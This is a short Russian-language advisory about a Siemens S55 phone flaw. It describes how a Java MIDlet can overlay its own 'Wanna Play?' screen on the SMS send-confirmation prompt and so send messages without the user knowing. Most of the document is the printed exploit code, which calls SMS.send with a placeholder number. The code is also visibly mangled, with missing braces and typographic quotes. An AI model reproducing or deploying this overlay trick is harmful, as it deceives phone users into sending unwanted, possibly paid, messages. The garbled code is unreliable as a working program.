Уязвимость в Siemens S55 позволяет атакующему
через установленную программу посылать SMS
сообщения без участия пользователя. Java API
позволяет это делать и так, однако при
посылке возникает запрос на отправку. Это
можно обойти наложением собственного
экрана на подтверждение отсылки. Как
результат — отсылка любого количества
сообщений без уведомления пользователя.

Эксплоит:

package hello; 
import javax.microedition.lcdui.*; 
import javax.microedition.midlet.*; 
import com.siemens.mp.game.Sound; 
import com.siemens.mp.gsm.*; 
import java.lang.*; 
import java.io.*; 

public class hello extends MIDlet implements CommandListener 

static final String EXIT_COMMAND_LABEL = «Exit FtRs world»; 
Display display; 
static hellohello;

public void startApp (){ 
HelloCanva kanvas = new HelloCanva(); 
Scr2 scr2 = new Scr2();
display = Display.getDisplay(this); 
// Menu
Command exitCommand = new Command(EXIT_COMMAND_LABEL , Command.SCREEN, 0); 
scr2.addCommand(exitCommand); 
scr2.setCommandListener(this); 
//Data 

// screen 1 
display.setCurrent(kanvas); 
mycall(); 
// screen 2 
display.setCurrent(scr2); 
//destroyApp(false); 

public void mycall(){ 

String SMSstr= «Test»; 

try {
/* Send SMS VALIAD NUMEBER SHALL BE IN SERTED HERE*/ 
SMS.send(«0170-Numder», SMSstr); 

/* Exception handling */ 
catch (com.siemens.mp.NotAllowedException ex) { 
// Some handling code … 

catch (IOException ex) { 
//Some handling code … 

catch (IllegalArgumentException ex) {
// Some handling code … 

} //public viod call() 

protected void destroyApp (boolean b){ 
display.setCurrent(null); 
this.notifyDestroyed(); // notify KVM 

protected void pauseApp ()
{ } 

public void commandAction (Command c, Displayable d){ 
destroyApp(false); 

class HelloCanva extends Canvas 

public void paint (Graphics g) 
{
String str = new String(«Wanna Play?»); 
g.setColor(0,0,0); 
g.fillRect(0, 0, getWidth(), getHeight()); 
g.setColor(255,0,0); 
g.drawString(str, getWidth()/2,getHeight()/2, Graphics.HCENTER | Graphics.BASELINE); 
g.drawString(«yes», (getWidth()/2)-35,(getHeight()/2)+35, Graphics.HCENTER | Graphics.BASELINE); 
g.drawString(«no», (getWidth()/2)+35,(getHeight()/2)+35, Graphics.HCENTER | Graphics.BASELINE); 
}

class Scr2 extends Canvas 

public void paint (Graphics g) { 
String str = new String(«cool»); 
g.setColor(0,0,0); 
g.fillRect(0, 0, getWidth(), getHeight()); 
g.setColor(255,0,0); 
g.drawString(str, getWidth()/2,getHeight()/2, Graphics.HCENTER | Graphics.BASELINE); 
}
}



Оставить мнение